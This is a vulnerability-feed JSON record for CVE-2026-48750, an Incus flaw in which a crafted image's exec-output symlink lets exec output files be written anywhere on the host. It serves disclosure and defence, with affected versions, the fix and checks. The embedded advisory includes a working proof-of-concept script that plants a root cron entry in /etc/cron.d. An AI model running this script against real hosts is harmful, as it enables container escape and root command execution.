{"id":"CVE-2026-48750","kind":"vulnerability","aliases":["CVE-2026-48750","GHSA-73hr-m85f-64v9"],"related":[],"title":"Incus has an arbitrary file write on host via `exec-output` symlink in crafted image","description":"### Summary\n\nThe `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution.\n\n\n### Details\n\nWhen an image is unpacked, top-level symlinks are extracted as is; allowing for `exec-output` to be placed on disk. In `instance_exec.go`, `os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows the `exec-output` symlink.\n\n\n### PoC\n\nBelow, we place the `exec_UUID.stdout` file in `/etc/cron.d` on\nthe host for arbitrary command execution.\n\n```\n#!/bin/sh\n# usage: $0 existing-imagefp\nset -eu\n\nbasefp=\"${1}\"\n\ndie() {\n        printf '%s' \"${@}\" >&2\n        exit 1\n}\n\ncommand -v curl >/dev/null 2>&1 || die 'error: curl not found\\n'\ncommand -v python3 >/dev/null 2>&1 || die 'error: python3 not found\\n'\n\ntmpdir=$(mktemp -d)\ncleanup() {\n        rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\n\n# insert exec-output symlink\n\nincus image export \"${basefp}\" \"${tmpdir}/img\"\n\nmkdir \"${tmpdir}/repack\"\ncd \"${tmpdir}/repack\"\n\nxz -cd \"${tmpdir}/img\" | tar -f- -vx\n\nrm -rf exec-output\nln -s /etc/cron.d exec-output\n\ntar -f- -c * | gzip -c9 >\"${tmpdir}/img\"\n\ncd - >/dev/null\nincus image import \"${tmpdir}\"/img* --alias afw-exec-output\n\n\n# Launch container, exec with record-output via REST API\nincus launch afw-exec-output afw-exec-output\nincus wait afw-exec-output ip\n\nOP=$(curl -s --unix-socket /var/lib/incus/unix.socket \\\n  -X POST -H 'Content-Type: application/json' \\\n  -d '{\"command\":[\"/bin/sh\",\"-c\",\"echo * * * * * root id'\"'>'\"'/afw-exec-output\"],\"record-output\":true}' \\\n  \"lxd/1.0/instances/afw-exec-output/exec\" | python3 -c \"import sys,json;print(json.load(sys.stdin)['operation'])\")\n\ncurl -s --unix-socket /var/lib/incus/unix.socket \"$OP/wait?timeout=30\" >/dev/null\n\n#find /etc/cron.d/exec_* -exec cat {} \\;\n```\n\n### Impact\n\nConstrained file creation in an arbitrary directory on the host via\nvia an unsanitized symlink; possibly leading to command execution.","summary":"Incus extracts a symlink named exec-output from an unpacked image as-is, so the exec record-output feature writes its stdout and stderr files to an attacker-chosen host directory. The advisory's proof of concept places a file in /etc/cron.d, which can lead to command execution on the host.","severity":"critical","cvss":9.9,"epss":0.00731,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/lxc/incus/v7/cmd/incusd","fixed":["7.2.0"],"affected":"< 7.2.0","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-73","go","incus","linux-containers","runtime","self-hosted"],"not_affected_if":["incusd-at-or-above-7.2.0","no-exec-access","only-trusted-images"],"how_to_check":"- Run `incusd --version` on the host and compare with the fixed version below.\n- Look for symlinks named `exec-output` in instance directories and in images you import.\n- Review who can call the instance exec endpoint with `record-output`.","fix":"- Upgrade the Go module `github.com/lxc/incus/v7` (incusd) to `7.2.0` or later.","status":"open","published_at":"2026-06-26T18:32:52+00:00","first_seen_at":"2026-11-05T22:00:52+00:00","triaged_at":"2026-11-05T22:02:26+00:00","updated_at":"2026-11-05T22:02:26+00:00","category":"runtime","confidence":0.8,"triage":{"at":"2026-11-05T22:02:26Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade the Go module `github.com/lxc/incus/v7` (incusd) to `7.2.0` or later.","reach":"network","title":"Incus: crafted image symlink lets exec output write files anywhere on host","impact":"high","summary":"Incus extracts a symlink named exec-output from an unpacked image as-is, so the exec record-output feature writes its stdout and stderr files to an attacker-chosen host directory. The advisory's proof of concept places a file in /etc/cron.d, which can lead to command execution on the host.","audience":"businesses","category":"runtime","nicknames":[],"who_cares":["incus","self-hosted","linux-containers","go"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"Attacker writes files on the host and may run commands as root","analyst_note":"Confirm the exact auth level needed to call the exec endpoint with record-output and whether the exploit requires a specific default config, using the GHSA advisory at https://github.com/advisories/GHSA-73hr-m85f-64v9.","how_to_check":"- Run `incusd --version` on the host and compare with the fixed version below.\n- Look for symlinks named `exec-output` in instance directories and in images you import.\n- Review who can call the instance exec endpoint with `record-output`.","plain_action":"","needs_analyst":true,"not_affected_if":["incusd-at-or-above-7.2.0","only-trusted-images","no-exec-access"],"who_is_affected":"Hosts running incusd below 7.2.0 that import images from sources not fully trusted, or that let users create or import images and call the instance exec endpoint with record-output. Hosts that only run images from trusted sources and restrict exec access are lower risk. The advisory does not say whether the exploit needs any account beyond exec access.","user_interaction":"no","needs_special_setup":"unknown","severity_if_unknown":"critical"},"cost_usd":0.000855,"input_tokens":5231,"output_tokens":663,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-2026':18A,26A '-48750':19A,27A '-73':32B '/afw-exec-output':372C '/bin/sh':216C,367C '/dev/null':235C,247C,313C,396C '/etc/cron.d':87B,208C,301C '/etc/cron.d/exec_':398C '/img':280C,290C,311C,318C '/instances':105C '/lxc/incus/v7/cmd/incusd':30A '/repack':283C,286C '/var/lib/incus/unix.socket':357C,392C '0':218C '1':225C,231C,237C,249C '2':229C,236C,248C '30':395C '64v9':24A '73hr':22A 'abus':154C 'advisori':78B 'afw':321C,337C,341C,347C 'afw-exec-output':320C,336C,340C,346C 'alia':319C 'allow':173C 'api':333C 'application/json':364C 'arbitrari':4A,140C,148C,156C,213C,407C 'as-i':54B 'attack':73B 'attacker-chosen':72B 'basefp':224C,278C 'behavior':151C 'c':307C,368C,379C 'c9':309C 'cat':400C 'cd':284C,288C,312C 'chosen':74B 'cleanup':259C,264C 'command':92B,113C,157C,214C,232C,244C,366C,420C 'concept':82B 'constrain':402C 'contain':37B,147C,325C 'content':149C,362C 'content-typ':361C 'continu':186C 'craft':15A 'creation':404C 'curl':234C,240C,352C,387C 'cve':17A,25A 'cwe':31B 'd':258C,365C 'detail':159C 'die':226C,238C,250C 'directori':76B,119C,408C 'disk':182C 'echo':369C 'endpoint':107C 'error':239C,251C 'eu':223C 'exec':11A,48B,59B,117C,125C,176C,189C,197C,272C,297C,303C,322C,326C,338C,342C,348C,399C 'exec-output':10A,47B,116C,124C,175C,188C,196C,271C,296C,302C 'exec_uuid.stderr':134C 'exec_uuid.stdout':132C,205C 'execut':93B,158C,215C,421C 'exist':191C,220C 'existing-imagefp':219C 'exit':230C,265C 'export':277C 'extract':43B,170C 'f':292C,306C 'featur':63B 'file':5A,69B,85B,130C,145C,206C,403C 'find':397C 'follow':194C 'found':242C,254C 'ghsa':21A 'ghsa-73hr-m85f-64v9':20A 'github.com':29A 'github.com/lxc/incus/v7/cmd/incusd':28A 'go':33B 'gzip':308C 'h':360C 'host':8A,41B,75B,96B,211C,411C 'hup':269C 'id':371C 'imag':16A,53B,162C,276C,315C 'imagefp':221C 'impact':401C 'import':316C,380C 'incus':1A,34B,42B,275C,314C,334C,344C 'insert':270C 'instanc':122C 'instance_exec.go':184C 'int':266C 'ip':350C 'json':382C 'json.load':384C 'launch':324C,335C 'lead':90B,418C 'level':167C 'linux':36B 'linux-contain':35B 'ln':299C 'locat':141C 'lxd/1.0/instances/afw-exec-output/exec':377C 'm85f':23A 'mkdir':281C 'mktemp':257C 'n':243C,255C 'name':46B,131C 'name/exec':106C 'op':351C 'op/wait':393C 'oper':386C 'os.mkdir':185C 'os.openfile':193C 'output':12A,49B,62B,101C,110C,118C,126C,177C,190C,198C,273C,298C,304C,323C,330C,339C,343C,349C,375C 'paramet':102C 'place':83B,180C,203C 'poc':200C 'possibl':417C 'post':359C 'print':383C 'printf':227C 'proof':80B 'python3':246C,252C,378C 'quit':267C 'record':61B,100C,329C,374C 'record-output':60B,99C,328C,373C 'rest':332C 'rf':261C,295C 'rm':260C,294C 'root':370C 'runtim':38B 'self':40B 'self-host':39B 'set':222C 'socket':356C,391C 'stderr':68B 'stdout':66B,144C 'store':108C 'summari':97C 'symlink':13A,45B,129C,168C,199C,274C,416C 'sys':381C 'sys.stdin':385C 'tar':291C,305C 'term':268C 'timeout':394C 'tmpdir':256C,262C,279C,282C,285C,289C,310C,317C 'top':166C 'top-level':165C 'trap':263C 'true':376C 'type':363C 'unix':355C,390C 'unix-socket':354C,389C 'unpack':52B,164C 'unsanit':415C 'usag':217C 'v':233C,245C 'via':9A,331C,412C,413C 'vx':293C 'wait':345C 'write':6A,64B 'written':137C 'x':358C 'xz':287C","nicknames":[],"mitigations":[],"who_affected":"Hosts running incusd below 7.2.0 that import images from sources not fully trusted, or that let users create or import images and call the instance exec endpoint with record-output. Hosts that only run images from trusted sources and restrict exec access are lower risk. The advisory does not say whether the exploit needs any account beyond exec access.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["githubcomlxcincusv7cmdincusd"],"ptokens":["cmd","com","github","incus","incusd","lxc","v7"],"labels":["critical","cwe73","go","incus","linuxcontainers","runtime","selfhosted"],"campaign_type":null,"first_public_at":"2026-06-25T22:02:06+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-73hr-m85f-64v9","url":"https://github.com/advisories/GHSA-73hr-m85f-64v9","severity":"critical","published_at":"2026-06-26T18:32:52+00:00","modified_at":"2026-11-05T21:56:34+00:00","first_seen_at":"2026-11-05T22:00:52+00:00","fetched_at":"2026-11-05T22:11:14+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-48750","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48750","severity":null,"published_at":"2026-08-21T15:16:40+00:00","modified_at":"2026-10-15T19:10:00+00:00","first_seen_at":"2026-11-05T22:16:00+00:00","fetched_at":"2026-11-05T22:16:00+00:00","note":null}],"documents":[{"id":80674,"url":"https://api.github.com/repos/lxc/incus/security-advisories/GHSA-73hr-m85f-64v9","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":80675,"url":"https://github.com/lxc/incus/security/advisories/GHSA-73hr-m85f-64v9","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-06-25T22:02:06+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"exploit_sources":[{"type":"epss","score":0.00731,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-48750"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}